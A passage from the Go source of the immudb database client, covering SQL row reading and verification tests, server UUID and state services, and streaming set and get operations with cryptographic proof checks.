return nil, it.err } if it.nextRow < 0 { return nil, errors.New("Read called without calling Next") } protoRow := it.rows[it.nextRow] for i, protoVal := range protoRow.Values { val := schema.RawValue(protoVal) it.row[i] = val } return it.row, nil } func (it *rowReader) fetchRows() error { res, err := it.stream.Recv() if err == io.EOF { return sql.ErrNoMoreRows } if err == nil { it.rows = res.Rows } return errors.FromError(err) } func (it *rowReader) Close() error { if it.closed { return sql.ErrAlreadyClosed } it.stream = nil it.closed = true it.rows = nil it.nextRow = 0 if it.err == sql.ErrNoMoreRows { return nil } return it.err } ================================================ FILE: pkg/client/sql_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "errors" "testing" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestDecodeRowErrors(t *testing.T) { type tMap map[uint32]sql.SQLValueType for _, d := range []struct { n string data []byte colTypes map[uint32]sql.SQLValueType maxColID uint32 }{ { "No data", nil, nil, 0, }, { "Short buffer", []byte{1}, tMap{}, 0, }, { "Short buffer on type", []byte{0, 0, 0, 1, 0, 0, 1}, tMap{}, 0, }, { "Missing type", []byte{0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1}, tMap{}, 0, }, { "Invalid value", []byte{0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0}, tMap{ 1: sql.VarcharType, }, 1, }, } { t.Run(d.n, func(t *testing.T) { row, err := decodeRow(d.data, d.colTypes, d.maxColID) require.ErrorIs(t, err, sql.ErrCorruptedData) require.Nil(t, row) }) } } func TestVerifyAgainst(t *testing.T) { // Missing column type err := verifyRowAgainst(&schema.Row{ Columns: []string{"c1"}, Values: []*schema.SQLValue{{Value: nil}}, }, map[uint32]*schema.SQLValue{}, map[string]uint32{}) require.True(t, errors.Is(err, sql.ErrColumnDoesNotExist)) // Nil value err = verifyRowAgainst(&schema.Row{ Columns: []string{"c1"}, Values: []*schema.SQLValue{{Value: nil}}, }, map[uint32]*schema.SQLValue{}, map[string]uint32{ "c1": 0, }) require.True(t, errors.Is(err, sql.ErrCorruptedData)) // Missing decoded value err = verifyRowAgainst(&schema.Row{ Columns: []string{"c1"}, Values: []*schema.SQLValue{ {Value: &schema.SQLValue_N{N: 1}}, }, }, map[uint32]*schema.SQLValue{}, map[string]uint32{ "c1": 0, }) require.True(t, errors.Is(err, sql.ErrCorruptedData)) // Invalid decoded value err = verifyRowAgainst(&schema.Row{ Columns: []string{"c1"}, Values: []*schema.SQLValue{ {Value: &schema.SQLValue_N{N: 1}}, }, }, map[uint32]*schema.SQLValue{ 0: {Value: nil}, }, map[string]uint32{ "c1": 0, }) require.True(t, errors.Is(err, sql.ErrCorruptedData)) // Not comparable types err = verifyRowAgainst(&schema.Row{ Columns: []string{"c1"}, Values: []*schema.SQLValue{ {Value: &schema.SQLValue_N{N: 1}}, }, }, map[uint32]*schema.SQLValue{ 0: {Value: &schema.SQLValue_S{S: "1"}}, }, map[string]uint32{ "c1": 0, }) require.True(t, errors.Is(err, sql.ErrNotComparableValues)) // Different values err = verifyRowAgainst(&schema.Row{ Columns: []string{"c1"}, Values: []*schema.SQLValue{ {Value: &schema.SQLValue_N{N: 1}}, }, }, map[uint32]*schema.SQLValue{ 0: {Value: &schema.SQLValue_N{N: 2}}, }, map[string]uint32{ "c1": 0, }) require.True(t, errors.Is(err, sql.ErrCorruptedData)) // Successful verify err = verifyRowAgainst(&schema.Row{ Columns: []string{"c1"}, Values: []*schema.SQLValue{ {Value: &schema.SQLValue_N{N: 1}}, }, }, map[uint32]*schema.SQLValue{ 0: {Value: &schema.SQLValue_N{N: 1}}, }, map[string]uint32{ "c1": 0, }) require.NoError(t, err) } ================================================ FILE: pkg/client/state/immudb_uuid_provider.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package state import ( "context" "fmt" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/ptypes/empty" "github.com/grpc-ecosystem/grpc-gateway/runtime" "google.golang.org/grpc" ) // SERVER_UUID_HEADER ... const SERVER_UUID_HEADER = "immudb-uuid" // ErrNoServerUuid ... var ErrNoServerUuid = fmt.Errorf( "!IMPORTANT WARNING: %s header is not published by the immudb server; "+ "this client MUST NOT be used to connect to different immudb servers!", SERVER_UUID_HEADER) type UUIDProvider interface { CurrentUUID(ctx context.Context) (string, error) } type uuidProvider struct { client schema.ImmuServiceClient } func NewUUIDProvider(client schema.ImmuServiceClient) UUIDProvider { return &uuidProvider{client} } // CurrentUUID issues a Health command to the server, then parses and returns // the server UUID from the response metadata func (r *uuidProvider) CurrentUUID(ctx context.Context) (string, error) { var metadata runtime.ServerMetadata if _, err := r.client.Health( ctx, new(empty.Empty), grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD), ); err != nil { return "", err } var serverUUID string if len(metadata.HeaderMD.Get(SERVER_UUID_HEADER)) > 0 { serverUUID = metadata.HeaderMD.Get(SERVER_UUID_HEADER)[0] } if serverUUID == "" { return "", ErrNoServerUuid } return serverUUID, nil } ================================================ FILE: pkg/client/state/immudb_uuid_provider_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package state /* import ( "context" "errors" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/codenotary/immudb/pkg/client/rootservice" "github.com/golang/protobuf/ptypes/empty" "github.com/stretchr/testify/assert" "google.golang.org/grpc" ) func TestImmudbUUIDProvider_CurrentUuidNotFound(t *testing.T) { cli := &clienttest.ImmuServiceClientMock{} cli.HealthF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) { return &schema.HealthResponse{ Status: true, Version: "mock", }, nil } uuidp := rootservice.NewImmudbUUIDProvider(cli) uuid, err := uuidp.CurrentUUID(context.Background()) assert.EqualError(t, err, "!IMPORTANT WARNING: immudb-uuid header is not published by the immudb server; this client MUST NOT be used to connect to different immudb servers!") assert.Equal(t, "", uuid) } func TestImmudbUUIDProvider_CurrentHealthError(t *testing.T) { cli := &clienttest.ImmuServiceClientMock{} cli.HealthF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) { return nil, errors.New("mock") } uuidp := rootservice.NewImmudbUUIDProvider(cli) uuid, err := uuidp.CurrentUUID(context.Background()) assert.Error(t, err) assert.Equal(t, "", uuid) } */ ================================================ FILE: pkg/client/state/state_provider.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package state import ( "context" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/ptypes/empty" "github.com/grpc-ecosystem/grpc-gateway/runtime" "google.golang.org/grpc" ) type StateProvider interface { CurrentState(ctx context.Context) (*schema.ImmutableState, error) } type stateProvider struct { client schema.ImmuServiceClient } func NewStateProvider(client schema.ImmuServiceClient) StateProvider { return &stateProvider{client} } func (r *stateProvider) CurrentState(ctx context.Context) (*schema.ImmutableState, error) { var metadata runtime.ServerMetadata var protoReq empty.Empty return r.client.CurrentState(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) } ================================================ FILE: pkg/client/state/state_service.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package state import ( "context" "sync" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/cache" ) // StateService the root service interface type StateService interface { GetState(ctx context.Context, db string) (*schema.ImmutableState, error) SetState(db string, state *schema.ImmutableState) error CacheLock() error CacheUnlock() error SetServerIdentity(identity string) } type stateService struct { stateProvider StateProvider uuidProvider UUIDProvider cache cache.Cache serverUUID string logger logger.Logger m sync.Mutex serverIdentityNotChecked bool serverIdentity string } // NewStateService ... func NewStateService(cache cache.Cache, logger logger.Logger, stateProvider StateProvider, uuidProvider UUIDProvider, ) (StateService, error) { serverUUID, err := uuidProvider.CurrentUUID(context.Background()) if err != nil { if err != ErrNoServerUuid { return nil, err } logger.Warningf(err.Error()) } return &stateService{ stateProvider: stateProvider, uuidProvider: uuidProvider, cache: cache, logger: logger, serverUUID: serverUUID, }, nil } // NewStateService ... func NewStateServiceWithUUID(cache cache.Cache, logger logger.Logger, stateProvider StateProvider, serverUUID string, ) (StateService, error) { if serverUUID == "" { return nil, ErrNoServerUuid } return &stateService{ stateProvider: stateProvider, cache: cache, logger: logger, serverUUID: serverUUID, }, nil } func (r *stateService) GetState(ctx context.Context, db string) (*schema.ImmutableState, error) { r.m.Lock() defer r.m.Unlock() if r.serverIdentityNotChecked { err := r.cache.ServerIdentityCheck(r.serverIdentity, r.serverUUID) if err != nil { return nil, err } r.serverIdentityNotChecked = false } state, err := r.cache.Get(r.serverUUID, db) if err == nil { return state, nil } if err != cache.ErrPrevStateNotFound { return nil, err } state, err = r.stateProvider.CurrentState(ctx) if err != nil { return nil, err } if err := r.cache.Set(r.serverUUID, db, state); err != nil { return nil, err } return state, nil } func (r *stateService) SetState(db string, state *schema.ImmutableState) error { r.m.Lock() defer r.m.Unlock() return r.cache.Set(r.serverUUID, db, state) } func (r *stateService) CacheLock() error { return r.cache.Lock(r.serverUUID) } func (r *stateService) CacheUnlock() error { return r.cache.Unlock() } func (r *stateService) SetServerIdentity(identity string) { r.m.Lock() defer r.m.Unlock() r.serverIdentityNotChecked = true r.serverIdentity = identity } ================================================ FILE: pkg/client/state/state_service_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package state /* import ( "context" "errors" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/embedded/logger" "github.com/golang/protobuf/ptypes/empty" "github.com/stretchr/testify/assert" "google.golang.org/grpc" ) func TestStateService(t *testing.T) { ic := &immuServiceClientMock{} cache := &cacheMock{data: make(map[string]*schema.ImmutableState)} logger := &mockLogger{} stateProvider := NewStateProvider(ic) uuidProvider := NewUUIDProvider(ic) rs, err := NewStateService(cache, logger, stateProvider, uuidProvider) assert.NoError(t, err) state, err := rs.GetState(context.Background(), "db1") assert.NoError(t, err) assert.IsType(t, &schema.ImmutableState{}, state) err = rs.SetState(&schema.ImmutableState{}, "db1") assert.NoError(t, err) state, err = rs.GetState(context.Background(), "db1") assert.NoError(t, err) assert.IsType(t, &schema.ImmutableState{}, state) } type cacheMock struct { data map[string]*schema.ImmutableState } func (m *cacheMock) Get(serverUUID string, dbName string) (*schema.ImmutableState, error) { r, ok := m.data[serverUUID+dbName] if ok { return r, nil } return nil, errors.New("not found") } func (m *cacheMock) Set(state *schema.ImmutableState, serverUUID string, dbName string) error { m.data[serverUUID+dbName] = state return nil } type mockLogger struct{} func (l *mockLogger) Errorf(f string, v ...interface{}) {} func (l *mockLogger) Warningf(f string, v ...interface{}) {} func (l *mockLogger) Infof(f string, v ...interface{}) {} func (l *mockLogger) Debugf(f string, v ...interface{}) {} type immuServiceClientMock struct{} func (m *immuServiceClientMock) ListUsers(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.UserList, error) { return &schema.UserList{}, nil } func (m *immuServiceClientMock) GetUser(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) error { return nil } func (m *immuServiceClientMock) CreateUser(ctx context.Context, in *schema.CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } func (m *immuServiceClientMock) ChangePassword(ctx context.Context, in *schema.ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } func (m *immuServiceClientMock) SetPermission(ctx context.Context, in *schema.Item, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } func (m *immuServiceClientMock) DeactivateUser(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } func (m *immuServiceClientMock) UpdateAuthConfig(ctx context.Context, in *schema.AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } func (m *immuServiceClientMock) UpdateMTLSConfig(ctx context.Context, in *schema.MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } func (m *immuServiceClientMock) Login(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) { return &schema.LoginResponse{}, nil } func (m *immuServiceClientMock) Logout(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } func (m *immuServiceClientMock) Set(ctx context.Context, in *schema.KeyValue, opts ...grpc.CallOption) (*schema.Index, error) { return &schema.Index{}, nil } func (m *immuServiceClientMock) SafeSet(ctx context.Context, in *schema.SafeSetOptions, opts ...grpc.CallOption) (*schema.Proof, error) { return &schema.Proof{}, nil } func (m *immuServiceClientMock) Get(ctx context.Context, in *schema.Key, opts ...grpc.CallOption) (*schema.Item, error) { return &schema.Item{}, nil } func (m *immuServiceClientMock) SafeGet(ctx context.Context, in *schema.SafeGetOptions, opts ...grpc.CallOption) (*schema.SafeItem, error) { return &schema.SafeItem{}, nil } func (m *immuServiceClientMock) SetBatch(ctx context.Context, in *schema.KVList, opts ...grpc.CallOption) (*schema.Index, error) { return &schema.Index{}, nil } func (m *immuServiceClientMock) GetBatch(ctx context.Context, in *schema.KeyList, opts ...grpc.CallOption) (*schema.ItemList, error) { return &schema.ItemList{}, nil } func (m *immuServiceClientMock) ExecAllOps(ctx context.Context, in *schema.Ops, opts ...grpc.CallOption) (*schema.Index, error) { return &schema.Index{}, nil } func (m *immuServiceClientMock) Scan(ctx context.Context, in *schema.ScanOptions, opts ...grpc.CallOption) (*schema.ItemList, error) { return &schema.ItemList{}, nil } func (m *immuServiceClientMock) Count(ctx context.Context, in *schema.KeyPrefix, opts ...grpc.CallOption) (*schema.ItemsCount, error) { return &schema.ItemsCount{}, nil } func (m *immuServiceClientMock) CountAll(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.ItemsCount, error) { return &schema.ItemsCount{}, nil } func (m *immuServiceClientMock) CurrentRoot(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.Root, error) { return &schema.Root{}, nil } func (m *immuServiceClientMock) Inclusion(ctx context.Context, in *schema.Index, opts ...grpc.CallOption) (*schema.InclusionProof, error) { return &schema.InclusionProof{}, nil } func (m *immuServiceClientMock) Consistency(ctx context.Context, in *schema.Index, opts ...grpc.CallOption) (*schema.ConsistencyProof, error) { return &schema.ConsistencyProof{}, nil } func (m *immuServiceClientMock) ByIndex(ctx context.Context, in *schema.Index, opts ...grpc.CallOption) (*schema.Item, error) { return &schema.Item{}, nil } func (m *immuServiceClientMock) BySafeIndex(ctx context.Context, in *schema.SafeIndexOptions, opts ...grpc.CallOption) (*schema.SafeItem, error) { return &schema.SafeItem{}, nil } func (m *immuServiceClientMock) History(ctx context.Context, in *schema.HistoryOptions, opts ...grpc.CallOption) (*schema.ItemList, error) { return &schema.ItemList{}, nil } func (m *immuServiceClientMock) Health(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) { return &schema.HealthResponse{}, nil } func (m *immuServiceClientMock) Reference(ctx context.Context, in *schema.ReferenceOptions, opts ...grpc.CallOption) (*schema.Index, error) { return &schema.Index{}, nil } func (m *immuServiceClientMock) GetReference(ctx context.Context, in *schema.Key, opts ...grpc.CallOption) (*schema.Item, error) { return &schema.Item{}, nil } func (m *immuServiceClientMock) SafeReference(ctx context.Context, in *schema.SafeReferenceOptions, opts ...grpc.CallOption) (*schema.Proof, error) { return &schema.Proof{}, nil } func (m *immuServiceClientMock) ZAdd(ctx context.Context, in *schema.ZAddOptions, opts ...grpc.CallOption) (*schema.Index, error) { return &schema.Index{}, nil } func (m *immuServiceClientMock) ZScan(ctx context.Context, in *schema.ZScanOptions, opts ...grpc.CallOption) (*schema.ZItemList, error) { return &schema.ZItemList{}, nil } func (m *immuServiceClientMock) SafeZAdd(ctx context.Context, in *schema.SafeZAddOptions, opts ...grpc.CallOption) (*schema.Proof, error) { return &schema.Proof{}, nil } func (m *immuServiceClientMock) IScan(ctx context.Context, in *schema.IScanOptions, opts ...grpc.CallOption) (*schema.Page, error) { return &schema.Page{}, nil } func (m *immuServiceClientMock) Dump(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (schema.ImmuService_DumpClient, error) { return nil, nil } func (m *immuServiceClientMock) CreateDatabase(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } func (m *immuServiceClientMock) UseDatabase(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) { return &schema.UseDatabaseReply{}, nil } func (m *immuServiceClientMock) ChangePermission(ctx context.Context, in *schema.ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } func (m *immuServiceClientMock) SetActiveUser(ctx context.Context, in *schema.SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } func (m *immuServiceClientMock) DatabaseList(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) { return &schema.DatabaseListResponse{}, nil } */ ================================================ FILE: pkg/client/stream_replication.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "context" "github.com/codenotary/immudb/pkg/api/schema" "google.golang.org/grpc" ) // ExportTx retrieves serialized transaction object. func (c *immuClient) ExportTx(ctx context.Context, req *schema.ExportTxRequest) (schema.ImmuService_ExportTxClient, error) { if req == nil { return nil, ErrIllegalArguments } if !c.IsConnected() { return nil, ErrNotConnected } return c.ServiceClient.ExportTx(ctx, req) } // ReplicateTx sends a previously serialized transaction object replicating it on another database. func (c *immuClient) ReplicateTx(ctx context.Context) (schema.ImmuService_ReplicateTxClient, error) { if !c.IsConnected() { return nil, ErrNotConnected } return c.ServiceClient.ReplicateTx(ctx) } func (c *immuClient) StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (schema.ImmuService_StreamExportTxClient, error) { if !c.IsConnected() { return nil, ErrNotConnected } return c.ServiceClient.StreamExportTx(ctx, opts...) } ================================================ FILE: pkg/client/stream_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "context" "testing" "github.com/codenotary/immudb/pkg/stream" "github.com/stretchr/testify/require" ) func TestImmuClient_Errors(t *testing.T) { client := NewClient() ctx := context.Background() _, err := client.StreamVerifiedSet(ctx, nil) require.ErrorContains(t, err, "no key-values specified") // test ErrNotConnected errors fs := []func() (string, error){ func() (string, error) { _, err := client.streamSet(ctx); return "streamSet", err }, func() (string, error) { _, err := client.streamGet(ctx, nil); return "streamGet", err }, func() (string, error) { _, err := client.streamVerifiableSet(ctx); return "streamVerifiableSet", err }, func() (string, error) { _, err := client.streamVerifiableGet(ctx, nil) return "streamVerifiableGet", err }, func() (string, error) { _, err := client.streamScan(ctx, nil); return "streamScan", err }, func() (string, error) { _, err := client.streamZScan(ctx, nil); return "streamZScan", err }, func() (string, error) { _, err := client.streamExecAll(ctx); return "streamExecAll", err }, func() (string, error) { _, err := client.streamHistory(ctx, nil); return "streamHistory", err }, func() (string, error) { _, err := client.StreamSet(ctx, nil); return "StreamSet", err }, func() (string, error) { _, err := client.StreamGet(ctx, nil); return "StreamGet", err }, func() (string, error) { _, err := client.StreamVerifiedSet(ctx, []*stream.KeyValue{{}}) return "StreamVerifiedSet", err }, func() (string, error) { _, err := client.StreamVerifiedGet(ctx, nil); return "StreamVerifiedGet", err }, func() (string, error) { _, err := client.StreamScan(ctx, nil); return "StreamScan", err }, func() (string, error) { _, err := client.StreamZScan(ctx, nil); return "StreamZScan", err }, func() (string, error) { _, err := client.StreamHistory(ctx, nil); return "StreamHistory", err }, func() (string, error) { _, err := client.StreamExecAll(ctx, nil); return "StreamExecAll", err }, } for _, f := range fs { fn, err := f() require.ErrorIs(t, err, ErrNotConnected, fn) } } ================================================ FILE: pkg/client/streams.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "bufio" "bytes" "context" "crypto/sha256" "io" "time" "github.com/codenotary/immudb/pkg/client/errors" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/stream" ) // StreamSet performs a write operation of a value for a single key retrieving key and value form io.Reader streams. func (c *immuClient) StreamSet(ctx context.Context, kvs []*stream.KeyValue) (*schema.TxHeader, error) { txhdr, err := c._streamSet(ctx, kvs) return txhdr, errors.FromError(err) } // StreamGet retrieves a single entry for a key read from an io.Reader stream. func (c *immuClient) StreamGet(ctx context.Context, k *schema.KeyRequest) (*schema.Entry, error) { entry, err := c._streamGet(ctx, k) return entry, errors.FromError(err) } // StreamVerifiedSet performs a write operation of a value for a single key retrieving key and value form io.Reader streams // with additional verification of server-provided write proof. func (c *immuClient) StreamVerifiedSet(ctx context.Context, kvs []*stream.KeyValue) (*schema.TxHeader, error) { txhdr, err := c._streamVerifiedSet(ctx, kvs) return txhdr, errors.FromError(err) } // StreamVerifiedGet retrieves a single entry for a key read from an io.Reader stream // with additional verification of server-provided value proof. func (c *immuClient) StreamVerifiedGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.Entry, error) { entry, err := c._streamVerifiedGet(ctx, req) return entry, errors.FromError(err) } // StreamScan scans for keys with given prefix, using stream API to overcome limits of large keys and values. func (c *immuClient) StreamScan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { entries, err := c._streamScan(ctx, req) return entries, errors.FromError(err) } // StreamZScan scans entries from given sorted set, using stream API to overcome limits of large keys and values. func (c *immuClient) StreamZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { entries, err := c._streamZScan(ctx, req) return entries, errors.FromError(err) } // StreamHistory returns a history of given key, using stream API to overcome limits of large keys and values. func (c *immuClient) StreamHistory(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) { entries, err := c._streamHistory(ctx, req) return entries, errors.FromError(err) } // StreamExecAll performs an ExecAll operation (write operation for multiple data types in a single transaction) // using stream API to overcome limits of large keys and values. func (c *immuClient) StreamExecAll(ctx context.Context, req *stream.ExecAllRequest) (*schema.TxHeader, error) { txhdr, err := c._streamExecAll(ctx, req) return txhdr, errors.FromError(err) } func (c *immuClient) _streamSet(ctx context.Context, kvs []*stream.KeyValue) (*schema.TxHeader, error) { s, err := c.streamSet(ctx) if err != nil { return nil, err } kvss := c.StreamServiceFactory.NewKvStreamSender(c.StreamServiceFactory.NewMsgSender(s)) for _, kv := range kvs { err = kvss.Send(kv) if err != nil { return nil, err } } return s.CloseAndRecv() } func (c *immuClient) _streamGet(ctx context.Context, k *schema.KeyRequest) (*schema.Entry, error) { gs, err := c.streamGet(ctx, k) if err != nil { return nil, err } kvr := c.StreamServiceFactory.NewKvStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs)) key, vr, err := kvr.Next() if err != nil { return nil, err } value, err := stream.ReadValue(vr, c.Options.StreamChunkSize) if err != nil { return nil, err } return &schema.Entry{ Key: key, Value: value, }, nil } func (c *immuClient) _streamVerifiedSet(ctx context.Context, kvs []*stream.KeyValue) (*schema.TxHeader, error) { if len(kvs) == 0 { return nil, errors.New("no key-values specified") } if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } err := c.StateService.CacheLock() if err != nil { return nil, err } defer c.StateService.CacheUnlock() start := time.Now() defer c.debugElapsedTime("_streamVerifiedSet", start) state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { return nil, err } stateTxID, err := stream.NumberToBytes(state.TxId) if err != nil { return nil, err } //--> collect the keys and values as they need to be used for verifications stdKVs := make([]*schema.KeyValue, 0, len(kvs)) for i, kv := range kvs { var keyBuffer bytes.Buffer keyTeeReader := io.TeeReader(kv.Key.Content, &keyBuffer) key := make([]byte, kv.Key.Size) if _, err := keyTeeReader.Read(key); err != nil { return nil, err } // put a new Reader back kvs[i].Key.Content = bufio.NewReader(&keyBuffer) var valueBuffer bytes.Buffer valueTeeReader := io.TeeReader(kv.Value.Content, &valueBuffer) value := make([]byte, kv.Value.Size) if _, err = valueTeeReader.Read(value); err != nil { return nil, err } // put a new Reader back kvs[i].Value.Content = bufio.NewReader(&valueBuffer) stdKVs = append(stdKVs, &schema.KeyValue{Key: key, Value: value}) } //<-- s, err := c.streamVerifiableSet(ctx) if err != nil { return nil, err } ss := c.StreamServiceFactory.NewMsgSender(s) kvss := c.StreamServiceFactory.NewKvStreamSender(ss) err = ss.Send(bytes.NewBuffer(stateTxID), len(stateTxID), nil) if err != nil { return nil, err } for _, kv := range kvs { err = kvss.Send(kv) if err != nil { return nil, err } } verifiableTx, err := s.CloseAndRecv() if err != nil { return nil, err } if verifiableTx.Tx.Header.Nentries != int32(len(kvs)) || len(verifiableTx.Tx.Entries) != len(kvs) { return nil, store.ErrCorruptedData } tx := schema.TxFromProto(verifiableTx.Tx) entrySpecDigest, err := store.EntrySpecDigestFor(tx.Header().Version) if err != nil { return nil, err } var verifies bool for i, kv := range stdKVs { inclusionProof, err := tx.Proof(database.EncodeKey(kv.Key)) if err != nil { return nil, err } md := tx.Entries()[i].Metadata() e := database.EncodeEntrySpec(kv.Key, md, kv.Value) verifies = store.VerifyInclusion(inclusionProof, entrySpecDigest(e), tx.Header().Eh) if !verifies { return nil, store.ErrCorruptedData } } if tx.Header().Eh != schema.DigestFromProto(verifiableTx.DualProof.TargetTxHeader.EH) { return nil, store.ErrCorruptedData } var sourceID, targetID uint64 var sourceAlh, targetAlh [sha256.Size]byte sourceID = state.TxId sourceAlh = schema.DigestFromProto(state.TxHash) targetID = tx.Header().ID targetAlh = tx.Header().Alh() if state.TxId > 0 { dualProof := schema.DualProofFromProto(verifiableTx.DualProof) err := c.verifyDualProof( ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) if err != nil { return nil, err } } newState := &schema.ImmutableState{ Db: c.currentDatabase(), TxId: targetID, TxHash: targetAlh[:], Signature: verifiableTx.Signature, } if c.serverSigningPubKey != nil { err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) if err != nil { return nil, err } return verifiableTx.Tx.Header, nil } func (c *immuClient) _streamVerifiedGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.Entry, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } err := c.StateService.CacheLock() if err != nil { return nil, err } defer c.StateService.CacheUnlock() state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { return nil, err } gs, err := c.streamVerifiableGet(ctx, req) if err != nil { return nil, err } ver := 